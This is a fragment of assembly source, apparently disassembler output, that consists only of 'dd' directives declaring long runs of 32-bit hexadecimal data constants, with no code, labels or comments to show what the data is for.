dd 0F640DEEAh, 4655B1C3h, 8D1E7930h, 0DE8567FBh, 9BD53F5Ah
dd 8FC6F21Ah, 0B07ACA7Ch, 2D6BEBBDh, 444A3F7Bh, 734A5A8Fh
dd 5CE097C3h, 4158DDC6h, 590D9652h, 48E2F062h, 27B591CFh
dd 6AFA4F27h, 1BB10160h, 7EB46A26h, 0FA8D15E1h, 0E0A952AFh
dd 0EA120983h, 43E993C1h, 0B0892156h, 0E5D4CEA8h, 4DC43F56h
dd 7ACB1E69h, 0AF4417DDh, 8C610C54h, 0C6935B8Dh, 9FF577C7h
dd 0E53258A8h, 0C6890923h, 6EB5D567h, 14FEE0CEh, 0B44A1936h
dd 0B58E1387h, 36207098h, 260F688Dh, 0A90F40C4h, 75B925D8h
dd 39D5E1F0h, 0D4679A85h, 327F7CE1h, 8B46FDB5h, 6860E181h
dd 2AFD5E9Dh, 0BD774DF3h, 23867CB2h, 0AF9AF93Fh, 0D2DAE642h
dd 9D0B22F2h, 13909ECEh, 29EDFA42h, 9D7052CBh, 933E12EBh
dd 52F05715h, 0F885DAEFh, 33DB0042h, 5C15D0A5h, 1FCE9553h
dd 0C968ADD3h, 685CAFCAh, 9C0FBD80h, 75E92FF2h, 1973A945h
dd 19921D16h, 8EB33B25h, 8FB285D0h, 30240D8Dh, 2751792Eh
dd 9990778h, 79D19D9Ah, 11E7D44Dh, 8C0DAB15h, 7641A3DDh
dd 94A1BD87h, 0CE9F9D1h, 2E5B4499h, 5C5FC9FBh, 25DB8618h
dd 109249FDh, 0F4B3AF8Ch, 45EA48B2h, 47C0997Ah, 99DE39FAh
dd 8322765Ah, 7E8BC2E3h, 0D08912A3h, 90281562h, 7446C25Ah
dd 6C393CF3h, 3DD7A022h, 0EF2F1AABh, 50A61BCh, 0B513F229h
dd 0B1EA4C21h, 0A5EB19Fh, 24C098Bh, 0F07DF636h, 0CF6F05FDh
dd 96FC45AFh, 87511880h, 60D1904Ah, 0D2E6A63Ah, 0CEC2F41Bh
dd 279F0E67h, 7241B9F5h, 0FE79A33Bh, 941483C6h, 0F0C7A5BDh
dd 2559D658h, 0AE7D0F1h, 1B2994B5h, 0EF105DDCh, 4EC2EA0Bh
dd 0CE1D32F7h, 0B7D4788Ah, 0B9C1FBE3h, 15C6B86Eh, 5DAEAD1Ch
dd 1BA48794h, 0AD84E56h, 36A82A71h, 82084991h, 0CAC4C38h
dd 0AF46AA87h, 0A368663Ah, 0D40F1CBBh, 0D94D3D0Ah, 9E565897h
dd 0EDFC0F3Dh, 6376393h, 0D436B852h, 6937963Ch, 73CF19DFh
dd 0B3A50FF3h, 4A52D149h, 590F35E0h, 0AD5DEFF9h, 0C92383FAh
dd 0BE2FF60Ch, 1A3910AEh, 0B65EED97h, 74C23AF5h, 75252978h
dd 0C89FF85Eh, 0C6BD1109h, 13EA7E4Eh, 3FBE5C95h, 0D63EE387h
dd 43E96665h, 8871B4C6h, 0B11FFCE8h, 0AF12B9E7h, 6C4F7983h
dd 4A81E2EFh, 0D796E394h, 0EAE37982h, 0E6EC0E25h, 199F6020h
dd 50112CDBh, 4DDF153Fh, 0E766D095h, 8CFD557Bh, 0F0345AFAh
dd 0A585F218h, 54303850h, 0EE226BDFh, 64C62AB1h, 4BA97B32h
dd 78BDDA94h, 30D12467h, 7647CEC4h, 0C7AB6E54h, 5C49E2B8h
dd 3DC25F17h, 220BCCA9h, 66AD1CA0h, 0ABA65547h, 8002E2EAh
dd 22A53B8Fh, 57EBE75Ah, 0E90DE4CBh, 0E47FE202h, 0DED1085Ah
dd 0D9BE0D06h, 0F53259B6h, 0EFBE30ACh, 6814992Ch, 420558E8h
dd 1FE29C05h, 253683D2h, 322522E9h, 0B4BB7E27h, 957D28C9h
dd 0B5F6ACECh, 6F8F0B7Ah, 0FE3EBD0Dh, 5E09C5F3h, 4AEC1AD5h
dd 0F1166824h, 39BA676Dh, 41878515h, 84C58B40h, 3A8CFFCDh
dd 0B1062CCAh, 0B75981E0h, 9F3F4683h, 44C214D3h, 0BEEC1BFBh
dd 564F34DAh, 72ACDB50h, 7035BBBBh, 0BFB632D8h, 6F7D256Ch
dd 0DB27E579h, 0F293FB47h, 4C183C3h, 49F6DC0Dh, 3C5E0A67h
dd 0E4217C68h, 0DF58D781h, 55204D38h, 61EAA449h, 0E4726DFFh
dd 0D64DBE76h, 97F992DAh, 6957CC10h, 5BE336F0h, 746146Eh
dd 509B29CCh, 8436F764h, 30C9B145h, 73B3418Ch, 258ACCC0h
dd 0C7946DD2h, 0BC297227h, 0A64339F6h, 0FB594753h, 3A018C03h
dd 0E0AD1669h, 3C930B61h, 0CD723D25h, 0D6DAF56Ch, 9AAB521Ch
dd 8D92D1E4h, 0F33056C6h, 8BCAAC97h, 0C07CE8AFh, 0FFEEE72Ch
dd 533E8D61h, 271B1642h, 7B3A88B7h, 0EDCDC368h, 0A1755512h
dd 0F48013DCh, 0BD1600A4h, 0BA60938Eh, 3E841C43h, 3CCF791Ch
dd 0F1FB7E5Dh, 87AE65A8h, 0C3659110h, 0C646A897h, 0CE1CF96Bh
dd 2CB69D80h, 0E58B1C66h, 0E07A1808h, 9251E675h, 0AE49CF1h
dd 54383D93h, 2A33CFB8h, 0E5AC8814h, 0E00B272Eh, 4B39BAB0h
dd 6F902732h, 0BD201DC6h, 0ABF667D5h, 739B01E2h, 9A8CA124h
dd 199D37B4h, 884680Dh, 0D137E37Bh, 0B800643Eh, 0C76545A9h
dd 0D55EDA28h, 0AF550712h, 5961C2DCh, 23ED6CEh, 374C7B86h
dd 0DD378EC5h, 21D03823h, 1E82522Ch, 67C2FC2Ah, 76A76E8Ch
dd 0E35F0C36h, 0B8B5AFFFh, 639898FCh, 0B35905A8h, 0BACE04C5h
dd 98817D60h, 902A0180h, 5E575509h, 1842946Bh, 2796BF36h
dd 9E6BA849h, 0C66447D5h, 0BFE8043h, 0BE6DB62Ch, 0D8BDF853h
dd 0DA6F9ED3h, 0E6BD0482h, 0AC2DAE88h, 9A2CF126h, 1586CDBFh
dd 0E5130FB5h, 12A309DAh, 3789B43h, 6887B0BCh, 0B2BCBD8Ch
dd 282CDAE0h, 38BFFEABh, 2594A7CCh, 4A5FEF13h, 2D173EA4h
dd 0FA45D6E5h, 613E51B5h, 50A2972Eh, 0F5F73308h, 21E9A8AAh
dd 0DCC75414h, 0CA8F1DE5h, 15272251h, 283AFE05h, 0DEDCCC3Ch
dd 2C23584Ch, 1EFCAE03h, 0E4DE0EC9h, 96173FCFh, 0B069F392h
dd 15AA709h, 70080E43h, 6F628A75h, 8D48B7FAh, 0CF0C51A5h
dd 90F26640h, 3D971638h, 0B958215h, 32B920E4h, 52A51DCDh
dd 2613E505h, 0A857B705h, 7E2DA98Fh, 0E1BEEC95h, 0B03E6B76h
dd 0CE48B7AFh, 75CD7539h, 2B47D642h, 0EAB415C5h, 0EA33EAEAh
dd 5A9EB8B3h, 4E88E966h, 0AB842FA8h, 228593BEh, 0EE8005B8h
dd 1F37695Fh, 154AC9EEh, 0ACA6D51Fh, 0AF93117h, 38DBE887h
dd 2842878Ah, 55B03C29h, 0E14199h, 1584B105h, 0C7372726h
dd 0D64C6655h, 12E76BB6h, 0A33B4479h, 0BF975B23h, 2E8F51A3h
dd 0F01C8BECh, 0D7769F5h, 8FABB985h, 0CD0EC868h, 0F1550191h
dd 4D8BE933h, 0F719861h, 0C4DBC40h, 54A937EAh, 0F3C8F2FEh
dd 0CE572CDFh, 0E513F325h, 3C5F8E2h, 0BFFB4CA5h, 2A5E0295h
dd 6822EA8Bh, 6121D9C3h, 7A45D0F7h, 0ECB8E542h, 0CC2509A0h
dd 7B2928ACh, 0F8211B1Fh, 1553CAE2h, 0B83D358Ch, 0F9532EB3h
dd 67774BC7h, 4B0C7EE3h, 21724E49h, 124896AFh, 0A588203Eh
dd 0E61DF03Fh, 0E1BA3C39h, 5690C831h, 58779503h, 0D011D2E5h
dd 6CCAE028h, 97DF3F9Eh
dd 44B39835h, 0C6AD3338h, 801F164Bh, 6C87427Eh, 795CD0B5h
dd 0C0CAFE1Fh, 61CB972Eh, 26A3BAF0h, 0E18DC0Ch, 0B81AF331h
dd 0C9FEEC4Ch, 0C7DA7605h, 12963B13h, 9C05D748h, 9C56D290h
dd 3FE22023h, 14FD1B54h, 0F2E30848h, 1566A818h, 48C146F1h
dd 3EA7DD5Dh, 81EBDAA6h, 0B07B8321h, 0F5655558h, 79F56FA3h
dd 282CC478h, 14D13D8Eh, 0C50E221Ah, 0DC6265D9h, 5DE88A1Ah
dd 5069F4D6h, 6A5EE3FBh, 5F76A658h, 9A660035h, 0AFB4EFADh
dd 433D0C35h, 0E6B3A7A4h, 964EB199h, 79735F91h, 43B5CA2Ch
dd 12358E06h, 0CD6CB389h, 92DD98ADh, 9E603851h, 1C9C0472h
dd 5F24F29Ah, 9CCCE431h, 0CD5B6AACh, 95634FF2h, 8978129Eh
dd 0A1299652h, 9CD948BEh, 6DFADB94h, 3AE28F2Eh, 2FAC5D12h
dd 6F37F286h, 0D6C1CC6Fh, 0A4208BD5h, 56104DEh, 0A211E813h
dd 0E0F11869h, 0E5223141h, 0C2ED067Ch, 5FD84FCCh, 849CFD13h
dd 0A438A135h, 0C55471F0h, 0B534FE81h, 84D241A9h, 2FF2BA1h
dd 44C1353Eh, 0B35F682Ah, 84AF22EDh, 3954122Eh, 4A3B51B0h
dd 0AAAA89E5h, 0D3A0013h, 0DE386BB2h, 0DA88802Bh, 0E1F65F41h
dd 0F535BD96h, 86B5A662h, 0C1D0A0DAh, 0B4046E08h, 966555EBh
dd 734ECEA9h, 30FD9D66h, 8F12E8DEh, 8B7796D8h, 0E3DDFC73h
dd 583BDE0Fh, 643F1AB2h, 9E581611h, 0F4FEBC9Ch, 0DC9C4D54h
dd 50FC63A5h, 89FA40C2h, 0C1883846h, 8D3AFA3Bh, 48A70A27h
dd 431BDC3Ch, 0BB0E5AF5h, 763FB935h, 0F15A7B06h, 0AF0C971Ch
dd 23861977h, 0EB64F336h, 0A6C7BEC1h, 650BB587h, 0D4DB502Eh
dd 9DB08E7Bh, 0E24061EDh, 0EBCAB3E9h, 0F6BEC785h, 63686861h
dd 47CA44ABh, 0BFC102E6h, 2354AD65h, 0D0098BF4h, 54B4BD75h
dd 2CE33B9Bh, 8CADE5B2h, 8BA1E4ECh, 859B1C05h, 675CCC2Ch
dd 23DE64FCh, 97F43912h, 3EC07FB7h, 56332C85h, 274053Eh
dd 9A2462EAh, 838488A0h, 0A6B9470Fh, 140FEC3h, 0BB14CE11h
dd 0DE8628D2h, 8DEBDC13h, 0CB6A4B6Fh, 8CC67D72h, 793327A8h
dd 37C9BFD5h, 4D697BBh, 3107D7CBh, 0F4107A04h, 938FDD2Ch
dd 2ADD033Dh, 0F7F0AFA4h, 45CE2458h, 9760C03Eh, 3FC2DA5Ch
dd 0DA3C7EB0h, 8B6AF467h, 9701B815h, 0FD6C4801h, 77184EC3h
dd 0CB50DA6Dh, 440C30B4h, 0FCD6CA5Eh, 0E9043916h, 0FE691679h
dd 79E8B057h, 5F08E4D1h, 0EE0482DFh, 0C24BF34h, 0CEAF7E5Ch
dd 0A4365E57h, 9E1DC6AFh, 54CFC1F6h, 8180A2D0h, 6AEB20D9h
dd 0CD07A2FEh, 39655E0Dh, 974F4925h, 0DCF3644Dh, 6BC2E43Ch
dd 3AF1C87h, 0FA1F25DBh, 8597F428h, 0C1121982h, 7358FC24h
dd 3C50021Dh, 0B496AF73h, 702EF43Fh, 33FC3F83h, 2379E301h
dd 21C57541h, 0BD14FB10h, 116B97C5h, 29CCF02Ah, 746FB47h
dd 35C2C9AEh, 0A3AED9F9h, 0B2310A6Bh, 581FAE5Ch, 4F186854h
dd 3A057A0Ch, 73B8B536h, 76AE5A31h, 0D2488C5Eh, 4AD61113h
dd 0D18973D5h, 0F2D5E858h, 4D28E2D6h, 5D936D00h, 334E20A1h
dd 5B311148h, 0F46EDF9h, 0ACE019B6h, 0D149F4B9h, 198FE3E6h
dd 0DB22EDEFh, 0C05F99C2h, 61B414FEh, 30356F77h, 6E0BF3C0h
dd 0B365052h, 2BAF9B1Dh, 13221A80h, 19C59B4Ch, 5D5A570Bh
dd 22AFB0EFh, 0ED15EEC8h, 814DD87Fh, 0E0292B5Dh, 0B46E9FD9h
dd 112BC4E7h, 0EBBF527h, 495015Eh, 0D08E0695h, 0C19ED756h
dd 4AED8641h, 276C1BCBh, 7573EC96h, 826CD923h, 863ACA23h
dd 0BD7A18FDh, 0DE37553Fh, 0DC1C12Bh, 47899329h, 1F09BD65h
dd 0CC0B753Fh, 8825EC28h, 7732029Bh, 0E2F87C42h, 0CC79EF3Fh
dd 0B863E310h, 0D45B82CBh, 0C2C171BAh, 0DB85A687h, 8C8786Ch
dd 63EA58A0h, 0A4C223D0h, 55B4881Ch, 7D9AA333h, 7CF2B2BAh
dd 29F3478Ch, 653FD039h, 462501A8h, 4B530CD0h, 336F8FC2h
dd 0F0E6C2D7h, 5893BB8Dh, 0D4434196h, 0FD411B3Bh, 0FC9618DBh
dd 0BD635EC0h, 0A84E02F9h, 0FBDAC351h, 0B7FDBDADh, 0CCB4E321h
dd 6C132405h, 93728924h, 65F00F94h, 5192799Fh, 713142Fh
dd 0AF1909E6h, 0CE4BDC8Dh, 6C140384h, 16FBC9Ah, 21A33AF6h
dd 1AFF97C9h, 0A0458FCh, 0F8F9F1CAh, 0A415E5EBh, 0D69382C9h
dd 154D128Eh, 0B52CBB10h, 9618330Bh, 227E5BF6h, 8932359h
dd 9777B030h, 0A6B04451h, 5EF9826Ch, 0F8C2F0F0h, 93FFBEC3h
dd 0AC95835Dh, 0B95C9660h, 0B2D6F591h, 2F4E9535h, 3390953Fh
dd 9A3E7484h, 173A26F7h, 5A5CE5CFh, 49075356h, 6D3FCA1h
dd 0E1E28850h, 0FAA733EBh, 7A0D3151h, 0C252518h, 5B7281A3h
dd 0BDA12B4Bh, 0BD956ED9h, 6D51090Dh, 0D180C114h, 470BD71Dh
dd 83865B01h, 1929B439h, 0C653BE43h, 0D819A49Eh, 4A088F4Ah
dd 0B4455469h, 0D99E950Fh, 0A98F32CEh, 0A845C43Ch, 0CD03A32h
dd 7B0481AEh, 5BF9F75h, 0B6EE83ADh, 0AB0BDA33h, 46B399DEh
dd 63AEEE71h, 31ECD12h, 162796E0h, 0A4E9D6D0h, 0EE8A4F3Eh
dd 99DC5C14h, 0D96A08C1h, 0B4485D04h, 0D0383DE5h, 0E44B983Fh
dd 92606457h, 26AEADC4h, 0AB78EBC7h, 0C8DA7C7Fh, 8FE14FF0h
dd 0C7D5147h, 4F870881h, 0A5AEF7DCh, 3F8CBF4Eh, 79442A9Eh
dd 283E047h, 71B5E56Ch, 0A5A92CFh, 130539h, 0BD230DDFh
dd 5D256777h, 0A19784F3h, 4EDC8770h, 4A15F439h, 2E348904h
dd 8178EFD9h, 6C7F6A67h, 10C337C8h, 409FDDCDh, 24E71339h
dd 0C45FF6C9h, 413DE571h, 8E640ACh, 0E471C99h, 8CF03152h
dd 0A981F18Fh, 41E14249h, 68422106h, 0BE21A73Eh, 3F6B77C4h
dd 0BF3ECB62h, 53B0FA6Eh, 0AC9EFD05h, 5E2657B0h, 3758B052h
dd 0BEE1EB22h, 0F3DB7C1Dh, 31129E1h, 0AE1A2073h, 0EEBF599Ch
dd 0DDC095C1h, 0B087752Fh, 694B6583h, 6F094218h, 0F83C61Eh
dd 86E05AF0h, 1A9F9B3Eh, 0EB882BDBh, 0A1BB9F7Fh, 0A0B3CD8Ah
dd 51D83223h, 5F6845D7h, 22DF0C4Bh, 402D766Ah, 0AF2FCADDh
dd 8DA8500Ah, 8F9784CFh, 38B432Ch, 0D16AAA95h, 0BBA66883h
dd 28E7B111h, 30A19E55h, 7E616584h, 93395930h, 0E70581EAh
dd 9DF22BA0h, 0D5084D40h, 4821D9A6h, 9DB95DFEh, 569433Ah
dd 524892DAh, 424A27E2h, 0A72DA507h, 0DFC313B8h, 472897CAh
dd 61F7886Dh, 41BF416Ch, 0FF025BB2h, 11B5F15Ch, 0BFAE8E38h
dd 5FDED80Eh, 0E5D2AD3Dh, 9F39F604h, 533BCDF3h, 0FF549963h
dd 0CEA426A8h, 97FC4B4Ah, 0DDDA38B0h, 63D645C0h, 0BCCEA3FCh
dd 1AA52EF8h, 26985233h, 0CE6EDD25h, 3DD27E76h, 8FD4A9Fh
dd 0F6A8014Bh, 0B941B145h, 8D01F6A1h, 0E5CC2DE8h, 55741EDFh
dd 9FCA9CA6h, 7E42B68Ch, 0DDC59056h, 85A3720h, 46A82F48h
dd 402A4614h, 3697E44Eh, 0D9A15F8Ch, 66DC9176h, 18FAFF71h
dd 4458C94Bh, 2DC86AC7h, 0AA4B56A5h, 0AEFF8D6Dh, 0F2062437h
dd 0CE350E54h, 5B9D83F8h, 1250CA68h, 22F9B5DAh, 9F1A15DAh
dd 4EBA3F6Eh, 52E796C3h, 0F37304EFh, 0FB40494Dh, 5DFE9796h
dd 2B30B778h, 22DC8CA6h, 81E9A76Dh, 0AB697A15h, 0AE668357h
dd 6D2C68B2h, 9467C908h, 37ECA1CAh, 0A0190164h, 0B543BF0Bh
dd 44D92BC7h, 1ADBDF92h, 0FF350997h, 8C196071h, 8D096340h
dd 0F007C2F2h, 0DBCAE74Bh, 0CED84D26h, 0AA31FDE5h, 0CA24DD8Ah
dd 7C5BC3E2h, 15077CD0h, 26E03F20h, 296FFF13h, 4D7DDD52h
dd 95925A60h, 0FED19FA0h, 221A49EFh, 8F842ED2h, 0A390DD00h
dd 0AA7B9DE9h, 96F4C7BBh, 9945B309h, 0F0BD0ECAh, 0A46475CDh
dd 0CB29870Bh, 0B4C736E9h, 9B20F20Eh, 0C8900B00h, 0D0518B6Bh
dd 952A86A4h, 23447FFAh
dd 0B379DACBh, 7E089A4Bh, 822EB258h, 0DD78CC97h, 0CDCB65E6h
dd 0DA939CACh, 0F14DBDF4h, 6708CAA8h, 7972D0F4h, 0ACEB0BE2h
dd 0FE568AD0h, 6FAB4A95h, 331C968Bh, 493AE601h, 0B0A0AC8Eh
dd 99F8F17Eh, 7D1F419h, 5EE0FA5Eh, 37950870h, 0CB99DD00h
dd 2B20C8DFh, 10128CEDh, 2F8BF86Bh, 0E426A566h, 0E9995BE9h
dd 0E5A0825Bh, 0FAC0731Ah, 6C676B15h, 0A2D98296h, 97ECB40Dh
dd 30EAC950h, 0D0E6134Eh, 543BB8E8h, 0C13E6871h, 110F1FF8h
dd 9CBA7DA0h, 83517C21h, 29A04509h, 311FB13Eh, 7E52D50Bh
dd 5FDAD06Ah, 67B519CDh, 0C69C4A3Fh, 8920748Ah, 5B9B6481h
dd 2320FCECh, 0CC209038h, 0CEA8DE3Ch, 3ED0F627h, 0D79BD9Eh
dd 23D90B61h, 0BB12909Fh, 606AC7D3h, 393438CCh, 9D7CA691h
dd 0EC6E7A35h, 29563A38h, 0C452C0EFh, 0C69E9DEh, 0C749B94Dh
dd 8F5A8D77h, 46A5D615h, 5366ADE8h, 0A57BFB89h, 0CCAF555h
dd 625A1929h, 4A0A4E2Bh, 57C06FC2h, 5AFBC2F2h, 5586B7CCh
dd 4B8C65E8h, 0D128CC38h, 39E4C0A1h, 7FA1C8E3h, 8CA3027Bh
dd 7851F29Eh, 761C551Eh, 0E08B9A36h, 39585D57h, 6A6587A8h
dd 0D78CAFF1h, 0CEEC0DC9h, 89D97ED9h, 0C9F848D7h, 596230CFh
dd 0E6089037h, 84BEF96Bh, 8E79E59Ah, 0DE75EDECh, 0FB277F1Dh
dd 585F4DE4h, 0E54226E8h, 0F7229DB9h, 0F681DA26h, 9DCD8BFFh
dd 32AC1430h, 347DAAD2h, 682D5964h, 1B1C49DCh, 0B96D0E92h
dd 7DE4AD95h, 0E8C8E26Fh, 0A528D076h, 4C95946Bh, 1FFFEFDBh
dd 88346DA8h, 0FBF7BF5Fh, 0A55178C5h, 0EA8B01EBh, 88D85CE6h
dd 0E449DDFh, 2BDF2303h, 4CF3A469h, 37F9635Fh, 28F831C7h
dd 0D1331824h, 100CCA01h, 0C9F26F68h, 0A5EF412h, 0D40D4181h
dd 9A149692h, 0B7DFCCFAh, 60914E62h, 8427CA72h, 0D2200343h
dd 0BBFEE03h, 86A87AA8h, 0F8F2DE6Fh, 2798EC6Ch, 0BBBE68B0h
dd 7450D81Ch, 0FDA0A311h, 3FC45334h, 188DE347h, 0A310E105h
dd 0CABA5760h, 0E2740E98h, 0D112EEE0h, 360B0494h, 8A1C1371h
dd 0E619Dh, 812B8D66h, 6A017F8Eh, 155889B0h, 17CCA851h
dd 16E3BE4Ah, 4FA9B4E5h, 9CBB2D79h, 36A6FC22h, 91C6DF3Fh
dd 3C8D35CCh, 0F0AEF9FCh, 0BF8B467Ah, 9B8D158Dh, 0C1B41828h
dd 85F91022h, 0ACD96C47h, 0E81A91A3h, 0D233BE35h, 37BEEA5Dh
dd 0BD755D6h, 5B480EBAh, 6DBE3FBEh, 3D2939EFh, 925EB9A3h
dd 754E1838h, 0E7D1CEEh, 0E7332FE7h, 6D44E4B9h, 24E47666h
dd 0FC61EA98h, 9887B42Ah, 6C70DCF8h, 6AF18695h, 448335E2h
dd 0D37F4F2Ah, 2FA077FAh, 0D9B8F264h, 782BC432h, 0D3CBEA6Ah
dd 0CE7B17BBh, 0A17C5B7Bh, 91025FCh, 0B086252Bh, 89AB7AB4h
dd 646CE369h, 8FEEB48Bh, 5AD7373Ch, 8C69C90Eh, 0F8ECEDAAh
dd 8DF5A217h, 85F27CF1h, 0E3454F84h, 74D5E892h, 9E22ED6Ch
dd 7849A47Bh, 51E7082Ch, 0D7BF89ADh, 0BA5FD703h, 6065576Ch
dd 0DF22DEDAh, 0F9EFFE85h, 0FA6C6008h, 0A268C70Eh, 3AFAAE83h
dd 406A069h, 38799009h, 72D8E796h, 13E9594Ah, 0A76E7B51h
dd 8573134Ah, 8C910D5Eh, 0D7D8A2C3h, 8FE81D2Eh, 49C3512Fh
dd 57F4A8E4h, 0F45F1B85h, 3ED31696h, 8C9BE985h, 0C9473F4Ch
dd 0AF7A94B7h, 0C8D1A015h, 0BDC3B076h, 41932A35h, 210B4F15h
dd 51B2A36Ah, 66BEC70Dh, 1F8EDF60h, 0CD18B68Bh, 904E556Bh
dd 0A5DCC52h, 96B4D9AEh, 0C24CCAD6h, 50957776h, 0CF48AB6Ch
dd 0BDC5252Bh, 0C802E43Ah, 2BF6506Eh, 0C33DC26Dh, 971312F6h
dd 0F7820BBAh, 19FE8F40h, 0B693B214h, 0C0D45CD0h, 0C15B3A16h
dd 97928347h, 0B6DE80CEh, 392E6DD8h, 0E7427ED3h, 856CFBAEh
dd 997CC71Ah, 3F0F05A3h, 0F2A7E43Eh, 88F7A9B3h, 1EB94678h
dd 5ACD935Eh, 0E6C12529h, 9012C20Dh, 868A51EFh, 0D3FE0642h
dd 0B2B29565h, 0B6D259A4h, 0FA1CA4ECh, 273D65A0h, 0EAD59062h
dd 0D1B89FFFh, 867AB615h, 49EF6DDFh, 0A781D1F0h, 728D1B23h
dd 9618D553h, 0A25BDFE1h, 0EAEC58A5h, 95FB2EB5h, 0AA9500CCh
dd 16D53C98h, 3D7679BDh, 313D98C8h, 11DB5965h, 0A26A1149h
dd 0DBFFD380h, 0CA3674CFh, 23464511h, 0DCDF6ACBh, 10DF9C56h
dd 18522CA2h, 6D98729Fh, 24847333h, 35EFC40Ch, 0B47C5AC4h
dd 63C90CB8h, 0B3D10AD5h, 0F8100FD4h, 0E44D1868h, 0C4DBDAC7h
dd 4235E5ECh, 424551CAh, 0DB8F20EAh, 0D2DFD336h, 89DD2976h
dd 36319895h, 0C8DDE080h, 0CCFAA9B1h, 9B0FE637h, 1EED3627h
dd 45B44757h, 3ECCED95h, 0DD34B8A6h, 8EFDE545h, 3C42BA8Dh
dd 0B61B05B5h, 636009A5h, 9F7DF1D8h, 0B68FE69Dh, 54BA170Bh
dd 0EA99E864h, 4A1D5479h, 0ACE9ADD4h, 0A0A6D4CFh, 67BFECF2h
dd 5873B34Ah, 45D255D5h, 0AC874E5Eh, 0B353B5C4h, 0E4ACDCE0h
dd 7F6510A0h, 595B604Fh, 0EF97458h, 8FD07739h, 0AD4E7D6Ch
dd 0ACF032CFh, 91FB8505h, 0FFC5E9C9h, 0CE8962A9h, 1BCB9AEAh
dd 2D97FB0Ch, 0AB274BEAh, 5DEF61C5h, 5E9428D7h, 30DE5C7Dh
dd 0EFFC1084h, 80DCDD55h, 5C02F120h, 91B95Ch, 0A19AA8CFh
dd 1EC55D54h, 967D47B5h, 0C3C81AEDh, 0E4D19F74h, 0C907A613h
dd 25837F5Ah, 2F48C8Fh, 4309E6A2h, 8055650Ch, 0B637AE66h
dd 0A5954E3Eh, 5CF9B3D4h, 2122950Ah, 213ECFCBh, 9AF130A1h
dd 336F2603h, 2375BF98h, 545EEBE4h, 4054B10Dh, 23029E67h
dd 7A1E803Dh, 11DC4FC5h, 2E92F71Ah, 4FAF5296h, 7E702F97h
dd 4FEA2374h, 0D50A8881h, 11213237h, 6886C3Ah, 419B420Ch
dd 8BF0D70Ah, 6A7F0F0Ah, 4579DB7Ah, 49055181h, 610B2461h
dd 0CD739A85h, 2763E7FAh, 0BFEEB6C8h, 9089FEE2h, 97EA38A3h
dd 6F19BCh, 0B7278ED8h, 0F9B8F27Fh, 3481A5CCh, 0A1FA133Bh
dd 0F651A84Dh, 0FB7D2672h, 2AF2122Ah, 0C31D8AE1h, 3D0F10EAh
dd 0B90A32B9h, 0D5CF4EE3h, 0A561C9B2h, 0C2BC49A0h, 4448E00Bh
dd 0FB029B42h, 40B1A28Eh, 871D86B7h, 0CC9265C1h, 15E5BBABh
dd 0D1BCE9B6h, 684AA233h, 330835A5h, 0A923821Eh, 0FF012387h
dd 0FFF40828h, 0B5D9A1A8h, 0CCBBFAE0h, 5C1A4122h, 0D29E8CACh
dd 5FD47D5Fh, 283CB7C0h, 1A99F9ABh, 7837B45h, 0DCE84FE6h
dd 0B9BD828Ah, 0B98C32E2h, 0B95ACA4h, 0E9B326EDh, 258246B2h
dd 9BBABB71h, 0EEC5F598h, 342A2BADh, 1CEC71FCh, 5DAA18EDh
dd 0EEFD4EBCh, 0C8346A94h, 0E0156AEFh, 9D9C25C0h, 6F74B0C0h
dd 7BD8E92Fh, 0BAA1C648h, 7F0C22F4h, 0E1F0A964h, 0DE62CDA3h
dd 0E8D44349h, 33568ACAh, 193A959Eh, 0B584C203h, 64E3089Ah
dd 0D858B524h, 7C3FAFDFh, 0CB152462h, 36EADF68h, 0DD51E98Ah
dd 30A52B91h, 0DFE5090Eh, 45CB74F9h, 0AAEF5B17h, 34AD3BC7h
dd 0AAADBF3h, 46D69C8Eh, 0CAE58728h, 478AEA03h, 6EEAE8BAh
dd 2B8F6ACh, 0CDB30AD2h, 9A658EDAh, 0F5C483Eh, 86618024h
dd 0F1976A7Eh, 0E0C51F2h, 84412873h, 3772BE5Eh, 0A834D58Ch
dd 0C60C5EC6h, 7B218662h, 2D1C7242h, 0A8DFA3F8h, 0D6F00835h
dd 3C915231h, 30CFEFD1h, 0FAF92245h, 0A5427EDAh, 0E74EC15Ah
dd 5E22723h, 5F397D3Bh, 0DB5D45D9h, 0A290EC8h, 0F217DE48h
dd 329E8495h, 7651D49Ch, 0CC4F1478h, 894AE75Ch, 362E4A10h
dd 54A923F9h, 86A0275Eh, 6AA32A63h, 0A06E598Bh, 0EB801C18h
dd 241EE2BBh, 5CEEAE3h, 9D41A91Ah, 27F93628h, 0B12AC6D5h
dd 0CC87F97Dh, 8A7F370Dh, 0BB9C55B1h, 0CC3915DDh, 0FB83E763h
dd 0B2411541h, 811B7015h, 0CB8B09A8h, 953C8BDEh, 5F3CEF98h
dd 0CF884258h, 0BDE4D4CDh
dd 9257F9F1h, 0D11F073Bh, 0EF45EB9Bh, 844893F4h, 81E44D8Eh
dd 466D7963h, 0AEDE4274h, 0EC872744h, 829049F3h, 90B35E67h
dd 8B444E6Bh, 5862974Ch, 0E25496h, 0B7E8DA98h, 41FDA28h
dd 0CBB0CE86h, 0E386E2DCh, 53BA07C6h, 0C3A37059h, 2C1DBBDBh
dd 1F2B60FEh, 18243858h, 0F6E037E2h, 0EAD41B62h, 79F89711h
dd 148ADFA0h, 4848C62Bh, 0C7F9A8B1h, 2F0181F7h, 2E24805Eh
dd 7300363Bh, 0ECD8847Eh, 0C49AD9BCh, 5C2BC58h, 3AF93666h
dd 0E4402546h, 0C2F243Eh, 0F76054CCh, 0CB1D240h, 4BC07CCCh
dd 0E9AC26D4h, 44DE8B03h, 0F9E350E5h, 3C928482h, 845B3291h
dd 50090068h, 0D9F39DB8h, 842B045Dh, 0F2DE5573h, 0C5232C8Fh
dd 0DE0DCA13h, 0F1E68611h, 0C3067A1Ah, 0F3BE7BD4h, 0F1DAF9FBh
dd 0AD63E3FAh, 0F294E754h, 0B2812E06h, 0BC0E1F70h, 73A54217h
dd 80089AB8h, 2AA94FD6h, 138506C2h, 7A274B74h, 6A1036FAh
dd 1EB2021Fh, 536EB82Dh, 93B26E38h, 0DC2CF59Bh, 2DD8E4A9h
dd 5BCE996Bh, 0E8B27F98h, 10A8487Eh, 407A1630h, 1D23178Fh
dd 373DA3DCh, 67690162h, 341FB71Dh, 3B8E5630h, 2621FBBh
dd 77EC9781h, 0DAE68D1Eh, 5EF1A9Ah, 0A4C601D3h, 426F86D3h
dd 0F0D8ED0Fh, 8C79B76Dh, 0A378A712h, 19A9639Fh, 495690B0h
dd 5C57E259h, 9149BAF1h, 741D75E2h, 2884DCBEh, 2A057B20h
dd 0F1B58807h, 830302ABh, 234B45C3h, 614FB5F4h, 9BDF30EEh
